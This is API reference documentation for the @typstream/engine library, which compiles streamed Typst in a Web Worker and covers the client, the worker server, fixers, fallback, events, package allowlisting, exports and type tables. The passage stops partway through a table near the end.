- [Self-hosting](/docs/guides/self-hosting): serving the wasm and fonts.


# @typstream/engine

> Compiles streamed Typst in a Web Worker, with a main-thread client that heals, schedules and supervises compiles, and the worker-side server you can host yourself.

Source: https://typstream.vercel.app/docs/reference/engine

`@typstream/engine` compiles streamed Typst in a worker. It has two halves:

- **The client** (`@typstream/engine`), on the main thread. It heals each document with
  [`@typstream/heal`](/docs/reference/heal), decides when to compile, and keeps the preview alive when compiles fail,
  hang or crash. You open a document, feed it text, and subscribe to its state.
- **The server** (`@typstream/engine/server`), in the worker. It runs Typst 0.15.1
  ([`@typstream/engine-wasm`](/docs/reference/engine-wasm)) behind the protocol in
  [`@typstream/core`](/docs/reference/core#protocol), fixes errors a stream causes, and falls back to something
  showable when a document still doesn't compile.

`@typstream/engine/worker` is the default worker script that joins the two; `engineWorker()` spawns it.
`@typstream/engine/websocket` connects the client to a server instead: [`fromWebSocket`](#typstreamenginewebsocket).

## When to use it

Use the engine directly when you render the artifacts yourself, run your own worker, or share one engine across
several roots. To show documents in the page, [`@typstream/dom`](/docs/reference/dom)'s `mountTypstream` and the
React bindings ([`typstream`](/docs/reference/typstream), [`@typstream/react`](/docs/reference/react)) drive an engine
for you. On a server, use [`@typstream/node`](/docs/reference/node).

## Install

```npm
npm install @typstream/engine
```

The default worker loads the wasm and the base fonts as assets next to its own script. Vite and Next.js (Turbopack or
webpack) need no configuration. The wasm is about 19 MB (about 6 MB with brotli) and the fonts 2.6 MB: serve them
compressed and cacheable. See [Self-hosting the engine](/docs/guides/self-hosting) to load them from elsewhere.

## Example

```ts
import { createEngine, engineWorker } from "@typstream/engine";

const engine = createEngine({ spawn: engineWorker() });
const doc = engine.open({ target: "html" }); // or "paged": pages as SVG, or drawings with pageFormat: "drawing"

doc.subscribe(({ status, artifact, diagnostics }) => render(artifact, status, diagnostics));
for await (const chunk of llmStream) doc.push(chunk);
doc.finish(); // strict heal, final compile → status "done" or "error"
```

`state.artifact` is `{ target: "html", html }` or `{ target: "paged", pageCount, pages }`. Hand it to
[`createHtmlRenderer`](/docs/reference/dom#createhtmlrenderer) or [`createPagedView`](/docs/reference/dom#createpagedview)
rather than inserting it yourself: Typst's HTML is untrusted and needs sanitizing.

## What the client does

- **Heals on the main thread.** Every `push`, `set` and `applyEdit` runs the incremental healer. A change that heals to
  the same source doesn't compile.
- **Latest wins.** The engine runs one compile at a time across all its documents. Each document has at most one
  compile pending, and it reads the newest healed source when its turn comes. Edits reach the worker as one diff right
  before the compile.
- **Adaptive interval.** Compiles start at most every `clamp(minInterval, 1.25 × average compile time, maxInterval)`
  (33 to 500 ms by default). When a line or block has just finished (heal's `stableOffset` advanced), the next compile
  is due after `minInterval` instead.
- **Stale output is dropped.** Diagnostics and artifacts count only for the revision last sent. Diagnostics are mapped
  back to input positions (UTF-16 offsets into the text you pushed).
- **Last good.** A failed compile keeps the previous artifact. While streaming the status is `stale`; in final mode it
  is `error`. Before it comes to that, the worker's fixers and fallback usually find something to show.
- **Watchdog.** Each compile gets 3 s while streaming and 10 s in final mode. Past that, the worker is terminated and
  an initialized spare takes over. After 3 timeouts or crashes, live compiling stops (`failure.reason` is
  `"too-complex"`); `finish()` still compiles once.
- **Recycling.** A worker that reports more than 256 MiB after a compile is swapped for the spare between compiles.
- **Limits.** Input longer than `maxLength` (1 MiB of UTF-16 code units) isn't healed or compiled: the document
  reports `too-large` and keeps its last artifact until `set()` or `reset()` brings it back under the limit. A
  streaming paged compile with more than `livePages` (100) pages stops live compiling; `finish()` compiles every page.
- **Paged output.** The worker sends changed pages only; the client merges them, so `state.artifact` always has every
  page.

A document's status goes `idle` → `compiling` → `idle` while streaming, `stale` after a failed compile, and `done` or
`error` once finished. Everything runs on injected timers (`clock`), so the client also works in Node.

[The engine](/docs/concepts/engine) explains the design behind these rules.

## Fixers and fallback

When a compile fails, the server tries its diagnostic fixers and recompiles, at most twice per revision, so streamed
text that heals but doesn't compile yet still renders:

| Fixer | What it does |
| --- | --- |
| `tail-cut` | Streaming only. An error in the text still being typed (after heal's `stableOffset`) cuts the text there and heals the rest again. `#text(` without its body, `#v(1`, `rgb("#e` and closure parameters before `=>` drop out until the next tokens bring them back. |
| `pending-ref` | A reference to a label that doesn't exist yet (a citation before `#bibliography`) shows its key as a muted placeholder. In final mode the error is still reported. |
| `package-stub` | An import of a package the document can't have (not allowed, still loading, failed to load) binds the names it imports to placeholders showing the package's spec. Wildcard imports and modules whose fields are used can't be stood in for. |
| `missing-image` | An image the document has no file for shows as a placeholder with the file's name, keeping the call's size and alt text and a figure's caption. String paths are replaced before the first compile, all at once; the fixer handles paths in variables, and files whose extension names another format. In final mode the error is still reported. See [Images](/docs/guides/images). |
| `hoist-import` | A name used before the package import that binds it (a helper on CeTZ above `#import "@preview/cetz:0.5.3"`, `#unit(…)` in a template's arguments above unify's import) moves that import to the document's start. Only an import that binds the name outright (bare, `as`, items) at the top level; not a wildcard. While streaming, only a settled import. In final mode the error is still reported. |

Fixed errors are reported as `info` diagnostics while streaming, with the fixer's name as `source`. Plugins add
fixers as ES modules loaded in the worker; see [Writing a plugin](/docs/guides/writing-a-plugin).

What still fails after the fixers is never a blank screen. The server shows failing top-level blocks as "This part
couldn't be displayed" boxes, shows the unsettled tail as plain text once the last good render is 1.5 s old, and in
final mode the client finds and skips blocks that hang or crash the engine. `state.lastCompile.fallback` says what was
isolated. `fallback: false` on a document turns this off. [Fallback](/docs/concepts/fallback) has the whole ladder.

## Events

The library sends nothing anywhere: it reports, and the app decides what to collect. `doc.onEvent(listener)` hears
one document. `engine.onEvent(listener)` hears the workers and, as `{ type: "document", event }`, every document's
events too. A compile reports, in this order and before the state it leads to is published:

| Event | When |
| --- | --- |
| `diagnostics` | The worker reported diagnostics (with every compile, and when it recompiles on its own). |
| `compiled` | A compile finished, with its timings, heal time and patches, the fixers applied and the fallback level. |
| `fallback` | The output isn't the text as it is (levels 1 to 4), with the input and healed source to replay as a test case. |
| `watchdog` | A compile ran past its budget or crashed the worker. |

The event shapes are in [`@typstream/core`](/docs/reference/core#telemetry-events). See
[Telemetry](/docs/guides/telemetry).

## Images

An image the document has no file for shows as a placeholder. Give the document a `resolveImage` to fill such paths
in: the client finds complete `image("…")` strings in the input, calls it once per path, and writes the bytes it
returns into the document's files. `fetchImages` from [`@typstream/engine/images`](#typstreamengineimages) downloads
URLs from the hosts you allow. See [Images](/docs/guides/images).

## Typst packages

Documents may `#import "@preview/…"` packages from an allowlist: the `packages` of `initialize` (engine-wide) plus
those of each document (`engine.open({ packages })`, which `mountTypstream` fills from plugins' `engine.packages`).
Nothing outside the allowlist is fetched; an empty allowlist means no network. Allowed packages are fetched when a
document imports one, checked against their `integrity`, and kept in Cache Storage (`typstream-packages`) so they work
offline after the first load. A version that isn't allowed resolves to the nearest allowed one, with a warning.
Files keyed `@namespace/name:x.y.z/path` in a document's or plugin's `files` make a local package importable with no
download. [`@typstream/universe`](/docs/reference/universe) lists the packages typstream allows by default; see
[Typst packages](/docs/guides/typst-packages).

## API

Everything in this section is exported from `@typstream/engine`.

### `createEngine`

```ts
const createEngine: (options: EngineOptions) => Engine;
```

Creates the engine client and starts its worker (and, by default, a spare). Create one per page or per app and open a
document per rendered Typst source; documents share the worker.

```ts
const engine = createEngine({
  spawn: engineWorker(),
  watchdog: { streamingMs: 5000 },
  schedule: { minInterval: 50 },
});
```

#### `EngineOptions`

### EngineOptions

How to run the engine.

| Prop            | Type                                               | Description                                                                                                                                                                                                                                                                                    |
| --------------- | -------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `spawn`         | `SpawnEngine`                                      | Starts a worker running the engine server: engineWorker in a browser, or `fromWebSocket` (`@typstream/engine/websocket`) for a server.                                                                                                                                                         |
| `initialize?`   | `InitializeOptions \| undefined`                   | Fonts and packages shared by every document, sent with `initialize`.                                                                                                                                                                                                                           |
| `plugins?`      | `readonly TypstreamPlugin[] \| undefined`          | Plugins whose worker-wide facets the engine loads (PLAN §8.0): their `engine.fonts`, `engine.packages`, `engine.fixerModules` and `engine.fontCatalogues` join `initialize`'s. Their document facets (files, preamble, heal) apply to the documents that list them in DocumentOptions.plugins. |
| `clientInfo?`   | `{ name: string; version?: string; } \| undefined` | Sent with `initialize`, for the worker's logs.                                                                                                                                                                                                                                                 |
| `watchdog?`     | `Partial<WatchdogOptions> \| undefined`            | Compile budgets and strikes; defaults in DEFAULT_WATCHDOG, or the `spawn`'s own.                                                                                                                                                                                                               |
| `limits?`       | `Partial<LimitOptions> \| undefined`               | Input length and live page limits; defaults in DEFAULT_LIMITS.                                                                                                                                                                                                                                 |
| `recycleBytes?` | `number \| undefined`                              | Replace the worker once it reports more memory than this after a compile. A safety net: the default engine evicts Typst's caches after every compile and stays flat. Default 256 MiB; `Infinity` disables recycling.                                                                           |
| `spare?`        | `boolean \| undefined`                             | Keep an initialized spare worker so replacing the active one is instant, started once the active one has answered a compile (at once when a spare takes over). Default true, or the `spawn`'s own.                                                                                             |
| `schedule?`     | `Partial<ScheduleOptions> \| undefined`            | Default schedule of every document.                                                                                                                                                                                                                                                            |
| `clock?`        | `Clock \| undefined`                               | Timers; tests pass fake ones.                                                                                                                                                                                                                                                                  |

<Callout type="warn" title="Beta">
`initialize` (fonts, packages and fixer modules shared by every document) is beta. Prefer `plugins`, whose
`engine.fonts`, `engine.packages` and `engine.fixerModules` join it.
</Callout>

#### `Engine`

### Engine

The main-thread engine client. Create one per page (or per app) and open a
document per rendered Typst source; documents share the worker.

| Prop      | Type                                                     | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| --------- | -------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `open`    | `(options?: DocumentOptions) => EngineDocument`          | Opens a document. Throws if `options.uri` is already open.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `ready`   | `Promise<InitializeResult>`                              | The first worker's `initialize` answer. Rejects if the engine can't start.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `onEvent` | `(listener: (event: EngineEvent) => void) => () => void` | Calls `listener` with every EngineEvent; returns the unsubscribe function.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `fonts`   | `readonly LoadedFontFamily[]`                            | The families the engine's workers loaded from font catalogues so far (PLAN §6.4), each once, in the order they arrived: what the HTML target shows as web fonts. A `font` event announces each new one.                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `preload` | `(options?: PreloadOptions) => Promise<void>`            | Warms the engine for documents to come (PLAN §6.4): compiles throwaway documents in the worker, so the first real one finds the wasm compiled, the fonts parsed, and the plugins' packages, modules and fonts loaded. Call it when a document is likely soon (the user opened "Generate", a model is answering). Compiles queue like any document's. The same compiles and plugins again warm nothing new and return the first call's promise. Resolves when the compiles are done, whether or not they succeeded, and when the engine is disposed; rejects only if the engine can't start, like Engine.ready, and is as safe to ignore. |
| `dispose` | `() => void`                                             | Disposes every document and terminates the workers.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |

#### `PreloadOptions`

What `engine.preload()` warms. It compiles throwaway documents: a short sample (headings, bold and italic, code,
math) in each target, then the first prompt example of each plugin in the first target. Each is its own document, in
final mode without fallback, closed once compiled. Everything they load stays in the worker for the documents after
them: the compiled wasm, parsed fonts, lazy fonts, Typst packages, and fixer and generator modules. Calling it again
with the same compiles and plugins returns the first call's promise; other plugins warm again, and so does a worker
replaced since then (watchdog, crash, recycling). The promise resolves once the compiles are done, whether or not they
succeeded, and when the engine is disposed. It rejects only if the engine can't start, and like `engine.ready` it is
safe to ignore. See [Preloading the engine](/docs/guides/preloading).

```ts
const engine = createEngine({ spawn: engineWorker() }); // starts the worker: wasm and base fonts
await engine.preload({ plugins: [edu, mermaid] }); // warm-up compiles, before the first document
```

### PreloadOptions

What Engine.preload warms.

| Prop       | Type                                      | Description                                                                                                                                                                                                                                      |
| ---------- | ----------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `plugins?` | `readonly TypstreamPlugin[] \| undefined` | Plugins the coming documents use. Their packages, fixer and generator modules and catalogue fonts load now, and the first of each plugin's prompt examples compiles, so what it draws (a generator's diagrams, a package's imports) is warm too. |
| `targets?` | `readonly CompileTarget[] \| undefined`   | The targets the coming documents compile to, each compiled once. Default both: `["html", "paged"]`. The plugins' examples compile in the first only.                                                                                             |
| `text?`    | `string \| undefined`                     | Typst to compile instead of the built-in sample and the plugins' examples, e.g. a document like the ones the app makes.                                                                                                                          |

<Callout type="warn" title="Beta">
`engine.preload()` and `PreloadOptions` are beta.
</Callout>

#### `EngineEvent`

What `engine.onEvent` receives, discriminated by `type`:

| `type` | Fields | When |
| --- | --- | --- |
| `ready` | `info: InitializeResult` | A worker finished `initialize` (the first one and every replacement). |
| `watchdog` | `uri`, `rev`, `budgetMs` | A compile or export ran past its budget; the worker was terminated. |
| `crash` | `error` | A worker failed outside the protocol. |
| `disconnect` | `error` | The connection to a [remote engine](/docs/guides/remote-engine) dropped; a new one opens, and what it was running is retried. |
| `recycle` | `memoryBytes` | A worker was replaced because it used too much memory. |
| `log` | `level`, `message` | A log message from the worker. |
| `failed` | `error: Error` | The engine can't run; every document is in `error`. |
| `document` | `event: DocumentEvent` | An event of one of the engine's documents. |

### `EngineDocument`

A document being streamed or edited, returned by `engine.open()`. Feed it input; it heals, compiles in the engine's
worker and publishes `DocumentState`s. Calls after `dispose()` are ignored.

### EngineDocument

A document being streamed or edited. Feed it input; it heals, compiles in the
engine's worker and publishes DocumentStates. Calls after `dispose()`
are ignored.

| Prop                | Type                                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| ------------------- | ---------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `uri`               | `string`                                                   | Names the document in the worker; unique among the engine's open documents.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `plugins`           | `readonly TypstreamPlugin[]`                               | Its plugins as they load (`resolvePlugins` from `@typstream/core`): each key once, dependencies first. Renderers apply their facets in this order.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `push`              | `(chunk: string) => void`                                  | Appends streamed text.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `set`               | `(input: string) => void`                                  | Replaces the whole input (a growing `source` prop, a regenerated answer).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| `applyEdit`         | `(edit: TextEdit) => void`                                 | Edits the input (editors, AI rewrites of a section).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `setStreamingRange` | `(range: Range \| null) => void`                           | Marks `[from, to)` of the input as being written: an edit streaming into the document, such as a model rewriting one question (PLAN §5.2). Only the range is healed as text being typed; the text before and after it is settled and shows as it did, its lint fixes included. Edits move the range, and text inserted at its end extends it. A finished document compiles in streaming mode again, until `finish()` (or `null`, then `finish()`). The worker's fixers cut only inside the range. Keep it block-aligned: from a top-level block's start (heal's `blockStarts`) to the end of a block's text, before the blank line that follows it. |
| `finish`            | `() => void`                                               | The input is complete: heal it strictly (no tail repair) and compile it in final mode, right away and even if live compiling stopped. Status becomes `done` or `error`. Later edits still compile, in final mode.                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `reset`             | `(input?: string) => void`                                 | Starts over with `input` (default empty) in streaming mode, forgetting watchdog strikes.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| `setTarget`         | `(target: CompileTarget) => void`                          | Compiles to `target` from now on. The artifact of the other target stays until the first new one.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `setPageFormat`     | `(format: PageFormat) => void`                             | Paged compiles send pages as `format` from now on (see DocumentOptions.pageFormat); recompiles if it changed.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `setInputs`         | `(inputs: Record<string, string>) => void`                 | Replaces `sys.inputs` and recompiles if they changed.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `setFiles`          | `(files: FileDelta) => void`                               | Writes (or, with `null`, deletes) files the document reads.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `file`              | `(path: string) => FileContent \| null`                    | A file the document has, by the path its Typst names it with (`logo.png`, `./logo.png`, a URL): its own files and the images `resolveImage` resolved. `null` for anything else, plugins' files included. What islands get as `IslandProps.file` (PLAN §8.4).                                                                                                                                                                                                                                                                                                                                                                                        |
| `exportPdf`         | `(options?: ExportOptions) => Promise<Uint8Array>`         | Exports the document as PDF: EngineDocument.exportSource's source, compiled in final mode with the document's preamble and files, by the same engine as the preview (PLAN §6.5). Exports run before compiles that are waiting, under the final watchdog budget. Call `finish()` first to export the finished document. Rejects with an ExportError.                                                                                                                                                                                                                                                                                                 |
| `exportHtml`        | `(options?: ExportOptions) => Promise<string>`             | Exports the document as Typst's HTML, without source anchors unless `anchors` asks for them: a complete, unsanitized HTML document. `@typstream/dom`'s `standaloneHtml` makes it a file that opens on its own. Otherwise as EngineDocument.exportPdf.                                                                                                                                                                                                                                                                                                                                                                                               |
| `exportDocx`        | `(options?: ExportOptions) => Promise<Uint8Array>`         | Exports the document as an editable DOCX file that Word-like engines lay out as the PDF is (#131): paragraphs, lists and tables with Typst's fonts embedded, the layout profile's line pitch, and every gap Typst made. Equations, images and drawings hold their place as empty space for now. Otherwise as EngineDocument.exportPdf.                                                                                                                                                                                                                                                                                                              |
| `exportSource`      | `() => string`                                             | The source the exports compile: the healed input (lint fixes, and tail repair until `finish()`), without the preamble or files.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| `getState`          | `() => DocumentState`                                      | The current state; the same object until something changes.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `subscribe`         | `(listener: (state: DocumentState) => void) => () => void` | Calls `listener` with every new state; returns the unsubscribe function.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| `onEvent`           | `(listener: (event: DocumentEvent) => void) => () => void` | Calls `listener` with every `DocumentEvent` (`@typstream/core`), for logging and telemetry (PLAN §8.6); returns the unsubscribe function. A compile's events fire before the state it leads to is published.                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `dispose`           | `() => void`                                               | Stops scheduling, cancels the compile in flight (its output is dropped) and closes the document in the worker.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |

`push`, `set` and `applyEdit` are three ways to change the input. Use `push` for a stream, `set` when you have the
whole text so far (a growing `source` prop), and `applyEdit` for edits in the middle (editors, AI rewrites of a
section). `reset` starts over in streaming mode, as for a regenerated answer.

#### `DocumentOptions`

What `engine.open()` takes.

### DocumentOptions

How to open a document.

| Prop              | Type                                      | Description                                                                                                                                                                                                                                                                                                                                                                        |
| ----------------- | ----------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `uri?`            | `string \| undefined`                     | Unique among the engine's open documents. Default: a generated `doc-N`.                                                                                                                                                                                                                                                                                                            |
| `text?`           | `string \| undefined`                     | Input to start from; it compiles right away.                                                                                                                                                                                                                                                                                                                                       |
| `target?`         | `CompileTarget \| undefined`              | Default `html`.                                                                                                                                                                                                                                                                                                                                                                    |
| `pageFormat?`     | `PageFormat \| undefined`                 | How paged compiles send pages: `svg` (default), or `drawing` for a canvas renderer (`@typstream/dom`'s paged view sets it). Pages the engine can't draw come as SVG either way.                                                                                                                                                                                                    |
| `inputs?`         | `Record<string, string> \| undefined`     | `sys.inputs`.                                                                                                                                                                                                                                                                                                                                                                      |
| `preamble?`       | `string \| undefined`                     | Typst evaluated before the document (theme, imports); fixed for the document's lifetime.                                                                                                                                                                                                                                                                                           |
| `files?`          | `FileDelta \| undefined`                  | Files the document reads (images, data), relative to its root. Keys such as `@typstream/edu:0.1.0/lib.typ` mount a local package.                                                                                                                                                                                                                                                  |
| `resolveImage?`   | `ImageResolver \| undefined`              | Gives the bytes of images the document names but has no file for: URLs a model wrote, or names the app knows. Without it, nothing is fetched, and such images show as placeholders (as do the ones it can't resolve). `fetchImages({ hosts })` from `@typstream/engine/images` downloads URLs from the hosts you allow.                                                            |
| `packages?`       | `PackageSpec[] \| undefined`              | Typst packages the document may import, in addition to the engine's (`initialize.packages`); fixed for the document's lifetime.                                                                                                                                                                                                                                                    |
| `fontCatalogues?` | `FontCatalogue[] \| undefined`            | Font catalogues the document loads families it names from, in addition to the engine's (`initialize.fontCatalogues`), as plugins' `engine.fontCatalogues` do (PLAN §6.4). The fonts they load are the worker's. Fixed for the document's lifetime.                                                                                                                                 |
| `heal?`           | `HealOptions \| undefined`                | Passed to `createHealer`. Use `finish()` rather than `final`.                                                                                                                                                                                                                                                                                                                      |
| `plugins?`        | `readonly TypstreamPlugin[] \| undefined` | Plugins (PLAN §8.0) whose engine and heal facets apply to the document: their files, packages and preambles (before `preamble`), heal handlers and lint settings, and fixer modules and font catalogues, which the worker loads for this document. Fonts are the worker's: a plugin's `engine.fonts` load only from `createEngine`'s `plugins`. Fixed for the document's lifetime. |
| `schedule?`       | `Partial<ScheduleOptions> \| undefined`   | Overrides the engine's schedule for this document.                                                                                                                                                                                                                                                                                                                                 |
| `fallback?`       | `boolean \| undefined`                    | Layer 4 (PLAN §5.6): when the source fails to compile even after the worker's fixes, show failing top-level blocks as error boxes, after `schedule.staleMs` the unsettled tail as plain text, and in final mode find and skip what hangs or crashes the engine. Default true; false keeps the last good artifact instead.                                                          |

<Callout type="warn" title="Beta">
`packages` is beta. Plugins' `engine.packages` are the usual way to allow packages for a document.
</Callout>

#### `DocumentState`

A snapshot of a document: a new object whenever anything in it changes, so it can be compared by identity (React's
`useSyncExternalStore`).

### DocumentState

A snapshot of a document. A new object whenever anything in it changes, so
it can be compared by identity (React's `useSyncExternalStore`).

| Prop             | Type                     | Description                                                                                                                         |
| ---------------- | ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------- |
| `status`         | `DocumentStatus`         | See DocumentStatus.                                                                                                                 |
| `artifact`       | `Artifact \| null`       | The last good artifact, or `null` before the first successful compile. Paged artifacts are complete: every page, with `base: null`. |
| `artifactRev`    | `number \| null`         | Revision `artifact` was compiled from.                                                                                              |
| `diagnostics`    | `Diagnostic[]`           | Diagnostics of the latest compile, in input coordinates (offsets into the text pushed so far, mapped back through healing), sorted. |
| `heal`           | `HealResult`             | Healing of the current input: the source sent to the worker, open frames, lint findings.                                            |
| `final`          | `boolean`                | `finish()` was called: the input is complete and compiles in final mode.                                                            |
| `streamingRange` | `Range \| null`          | The part of the input being written (`setStreamingRange`), as edits since have moved it, or `null`.                                 |
| `live`           | `boolean`                | False once the watchdog stopped live compiling (`failure.reason` is `too-complex`).                                                 |
| `failure`        | `CompileFailure \| null` | Set while the status is `stale` or `error`.                                                                                         |
| `lastCompile`    | `CompileResult \| null`  | The worker's answer to the latest finished compile.                                                                                 |

#### `DocumentStatus`

```ts
type DocumentStatus = "idle" | "compiling" | "stale" | "error" | "done";
```

| Status | Meaning |
| --- | --- |
| `idle` | The artifact shows the latest input; waiting for more. |
| `compiling` | A compile is scheduled or running. |
| `stale` | Streaming, and the latest compile failed (see `failure`). The artifact is the last good one. It stays `stale` until a compile succeeds. |
| `error` | The finished document failed to compile, or the engine can't run. |
| `done` | The finished document compiled. |

#### `CompileFailure`

Why the latest compile produced no artifact. Set while the status is `stale` or `error`.

### CompileFailure

Why the latest compile produced no artifact.

- `diagnostics`: the source has errors (they are in `diagnostics`).
- `timeout`: the watchdog stopped a compile that ran past its budget.
- `crash`: the worker died during the compile.
- `too-complex`: repeated timeouts or crashes, or more pages than
  `limits.livePages`, stopped live compiling; the document compiles once
  more when it is finished.
- `too-large`: the input is longer than `limits.maxLength`. It isn't healed
  or compiled, finished or not, until `set()` or `reset()` makes it shorter.
- `engine`: the worker refused the request or couldn't start.

| Prop      | Type                                                                                | Description                                                                |
| --------- | ----------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| `reason`  | `"crash" \| "diagnostics" \| "engine" \| "timeout" \| "too-complex" \| "too-large"` | What went wrong, for choosing what to show.                                |
| `message` | `string`                                                                            | A sentence for logs or a tooltip: the first error, or what the engine did. |

| `reason` | Meaning |
| --- | --- |
| `diagnostics` | The source has errors (they are in `diagnostics`). |
| `timeout` | The watchdog stopped a compile that ran past its budget. |
| `crash` | The worker died during the compile. |
| `too-complex` | Repeated timeouts or crashes, or more pages than `limits.livePages`, stopped live compiling. The document compiles once more when it is finished. |
| `too-large` | The input is longer than `limits.maxLength`. It isn't healed or compiled until `set()` or `reset()` makes it shorter. |
| `engine` | The worker refused the request or couldn't start. |

### Exports

`EngineDocument.exportPdf()` and `exportHtml()` compile `exportSource()` (the healed input) in final mode with the
document's preamble and files, by the same engine as the preview. They run before compiles that are waiting, under the
final watchdog budget. Call `finish()` first to export the finished document. HTML exports have no source anchors
unless `anchors` asks for them (to lay the export out as pages, with the page settings html-compat writes on them), and
are not sanitized; [`standaloneHtml`](/docs/reference/dom#standalonehtml) makes them a safe file. See
[Exports](/docs/guides/exports).

```ts
doc.finish();
const pdf = await doc.exportPdf();
const html = await doc.exportHtml({ inputs: { showAnswers: "true" } });
```

#### `ExportOptions`

### ExportOptions

How to export a document.

| Prop       | Type                                  | Description                                                                                                                                                                                                            |
| ---------- | ------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `inputs?`  | `Record<string, string> \| undefined` | `sys.inputs` for the export. Default: the document's. Leave out layout inputs, such as a reflow preview's page size, to export at the document's own page size.                                                        |
| `anchors?` | `boolean \| undefined`                | HTML only: keep the source anchors a preview has, on which html-compat writes each block's page settings, header and footer: for laying the export out as pages (`@typstream/dom`'s `standalonePages`). Default false. |

#### `ExportError`

```ts
class ExportError extends Error {
  readonly name: "ExportError";
  readonly reason: "diagnostics" | "unsupported" | "timeout" | "crash" | "too-large" | "engine";
  readonly diagnostics: Diagnostic[];
}
```

What `exportPdf()` and `exportHtml()` reject with. `diagnostics` are the export's diagnostics in input coordinates;
with `reason: "diagnostics"` there is at least one error.

| `reason` | Meaning |
| --- | --- |
| `diagnostics` | The source has errors. |
| `unsupported` | The engine doesn't offer this format (see `capabilities.exports` in `engine.ready`'s result). |
| `timeout` | The export ran past the final watchdog budget; the worker was replaced. |
| `crash` | The worker died during the export. |
| `too-large` | The input is longer than `limits.maxLength`. |
| `engine` | The engine can't run, was disposed or refused the request, or the document was disposed. |

### `engineWorker`

```ts
const engineWorker: () => SpawnEngine;
```

Spawns the default engine worker: engine-wasm (Typst 0.15.1) with the base fonts (Libertinus Serif, New Computer
Modern Math, DejaVu Sans Mono), and script fonts that download the first time a document uses them. Pass it to
`createEngine` in a browser. It is written as `new Worker(new URL("./worker.js", import.meta.url), { type: "module" })`,
and the worker refers to the wasm and fonts the same way, so bundlers emit all of them as assets.

### `fromWorker`

```ts
const fromWorker: (create: () => WorkerLike) => SpawnEngine;
```

A `SpawnEngine` for Web Workers, or anything shaped like one. Use it to spawn your own worker script:

```ts
const engine = createEngine({
  spawn: fromWorker(() => new Worker(new URL("./engine.worker.ts", import.meta.url), { type: "module" })),
});
```

`create` is called once at startup and again for every replacement (watchdog, crash, recycling); each call must start
a fresh worker.

#### `SpawnEngine`

```ts
interface SpawnEngine {
  (events: EngineEvents): EngineConnection;
  readonly defaults?: SpawnDefaults; // beta
}
```

Starts a worker running the engine server and routes its messages and errors to `events`. `engineWorker`, `fromWorker`
and [`fromWebSocket`](#typstreamenginewebsocket) make one; implement it yourself for other transports.

`defaults` (beta) are the options that suit the transport, for those `createEngine` isn't given: `fromWebSocket` sets
longer budgets and no spare. `createEngine`'s own `watchdog` and `spare` win.

### SpawnDefaults

Engine options a SpawnEngine suggests; `createEngine`'s own options win.

| Prop        | Type                                    | Description                                                     |
| ----------- | --------------------------------------- | --------------------------------------------------------------- |
| `watchdog?` | `Partial<WatchdogOptions> \| undefined` | Merged over `DEFAULT_WATCHDOG`, under `EngineOptions.watchdog`. |
| `spare?`    | `boolean \| undefined`                  | Used when `EngineOptions.spare` isn't given.                    |

#### `WorkerLike`

### WorkerLike

The parts of a Web Worker fromWorker uses; a DOM `Worker` has them.

| Prop               | Type                                                                                                                                                       | Description                                                                                                        |
| ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ |
| `postMessage`      | `(message: unknown) => void`                                                                                                                               | Posts a message to the worker.                                                                                     |
| `terminate`        | `() => void`                                                                                                                                               | Stops the worker.                                                                                                  |
| `addEventListener` | `{ (type: "message", listener: (event: { data: unknown; }) => void): void; (type: "error" \| "messageerror", listener: (event: unknown) => void): void; }` | Messages from the worker arrive as `event.data`. The worker failed, or a message from it couldn't be deserialized. |

#### `EngineConnection`

### EngineConnection

The client's handle on one worker.

| Prop          | Type                               | Description                                                                                     |
| ------------- | ---------------------------------- | ----------------------------------------------------------------------------------------------- |
| `postMessage` | `(message: ClientMessage) => void` | Posts a message to the worker (structured clone).                                               |
| `terminate`   | `() => void`                       | Stops the worker at once, even mid-compile. Called on watchdog timeouts, recycling and dispose. |

#### `EngineEvents`

### EngineEvents

What the client hears from a worker it spawned.

| Prop      | Type                               | Description                                                                                                                                                                                                                                                |
